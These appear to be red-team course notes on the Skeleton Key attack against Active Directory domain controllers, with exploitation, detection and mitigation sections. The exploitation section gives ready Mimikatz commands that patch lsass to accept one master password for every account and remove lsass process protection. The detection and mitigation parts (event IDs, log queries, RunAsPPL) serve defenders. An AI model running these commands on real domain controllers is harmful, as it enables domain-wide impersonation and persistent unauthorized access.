Skeleton Key

General

• Patch a Domain Controller (lsass process) so that it allows access as any user with a single password

• Discovered in malware named Skeleton Key malware

• All publicly known methods are NOT persistent accross reboots

• Mimikatz to the rescue

Exploitation

# Inject skeleton key on DC of choice with default password of 'mimikatz'. DA privs required
Invoke-Mimikatz -Command '"privilege::debug" "misc::skeleton"' -ComputerName dcorp-dc.dollarcorp.moneycorp.local

# If lsass is running as procted process we can still use Skeleton Key but it needs the mimikatz driver (mimidriv.sys) on disk of target DC. Very noisy!
mimikatz # privilege::debug
mimikatz # !+
mimikatz # !processprotect /process:lsass.exe /remove
mimikatz # misc::skeleton
mimikatz # !-

# Access machine with valid username
Enter-PSSession -ComputerName dcorp-dc -Credential dcorp\administrator

Detection

• Events:

  • 7045: A service was installed in the system (Type: Kernel Mode Driver)

  • 4624: Account Logon

  • 4634: Account Logoff

  • 4672: Admin Logon

• Events("Audit Privilege Use" must be enabled)

  • 4673: Sensitive Privilege Use

  • 4611: A trusted logon process has been registered with the Local Security Authority

Get-WinEvent -FilterHashtable @{Logname='Security';ID=7045} | ?{$_.message -like "*Kernel Mode Driver*"}

# Not recommended (detects only stock mimidriv)
Get-WinEvent -FilterHashtable @{Logname='Security';ID=7045} | ?{$_.message -like "*Kernel Mode Driver*" -and $_.message -like "*mimidrv*"}

Mitigation

• Run lsass.exe as a protected process, as it forces an attacker to load a kernel mode driver -> log detection

• Test before implementing, as many drivers and plguins may not load with the protection

New-ItemProperty HKLM:\SYSTEM\CurrentControlSet\Control\Lsa\ -Name RunAsPPL -Value 1 -Verbose

# Verify after reboot
Get-WinEvent -FilterHashtable @{Logname='Security';ID=12} | ?{$_.message -like "*protected process*"}